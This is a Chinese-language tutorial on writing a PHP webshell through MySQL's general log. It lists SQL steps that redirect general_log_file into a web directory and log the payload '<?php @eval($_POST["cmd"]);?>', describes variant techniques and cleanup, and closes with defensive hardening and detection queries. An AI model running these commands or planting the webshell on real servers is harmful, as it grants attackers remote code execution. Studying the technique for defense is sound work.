MySQL写马详解
字数 1005 2025-08-09 18:43:59
MySQL日志写马技术详解
一、概述
MySQL日志写马是一种利用MySQL数据库日志功能将恶意代码写入服务器文件系统的技术。攻击者通过控制MySQL数据库,利用其日志功能将PHP等脚本代码写入Web目录,从而获取WebShell权限。
二、前置条件
1. 必要权限
- 需要具备MySQL的
FILE权限(通常为root或高权限用户) - 需要知道Web服务器的绝对路径
2. 关键全局变量
MySQL有两个关键全局变量控制日志功能:
-
general_log:日志记录状态- ON:开启日志记录
- OFF:关闭日志记录(默认值)
-
general_log_file:日志文件路径- 默认路径为
hostname.log - 可自定义设置为任意路径
- 默认路径为
三、攻击步骤详解
1. 检查当前日志状态
SHOW VARIABLES LIKE 'general_log%';
2. 开启日志记录功能
SET GLOBAL general_log = 'ON';
3. 修改日志文件路径
SET GLOBAL general_log_file = '/var/www/html/shell.php';
注:路径需替换为实际Web目录
4. 写入恶意代码
通过执行SQL语句将PHP代码写入日志文件:
SELECT '<?php @eval($_POST["cmd"]);?>';
5. 恢复原始设置(可选)
SET GLOBAL general_log = 'OFF';
SET GLOBAL general_log_file = '/original/path/mysql.log';
四、防御措施
1. 权限控制
- 限制MySQL用户的
FILE权限 - 避免使用root账户连接应用
2. 配置加固
- 确保
general_log默认关闭 - 限制
general_log_file的修改权限
3. 文件监控
- 监控Web目录下异常.php文件的创建
- 设置文件完整性检查
4. 其他防护
- 使用安全的数据库连接方式
- 定期审计数据库配置
五、技术原理
MySQL的general log会记录所有执行的SQL语句。当将日志文件设置为.php后缀并写入PHP代码时,Web服务器会将该文件解析为PHP脚本,从而执行其中的恶意代码。
六、检测方法
- 检查异常日志文件:
SHOW VARIABLES LIKE 'general_log%';
- 检查具有
FILE权限的用户:
SELECT user, host FROM mysql.user WHERE File_priv = 'Y';
- 检查Web目录下最近创建的.php文件
七、变体技术
- 慢查询日志写马:利用
slow_query_log和slow_query_log_file变量 - 二进制日志写马:利用
log_bin和log_bin_basename变量 - 错误日志写马:利用
log_error变量
八、注意事项
- 路径必须准确,否则无法在Web目录生成文件
- 需要Web服务器有对应目录的写入权限
- 某些环境下可能需要重启MySQL服务使配置生效
- 现代WAF可能会拦截此类攻击
通过以上技术细节,安全人员可以更好地理解MySQL日志写马的原理,并采取相应的防御措施。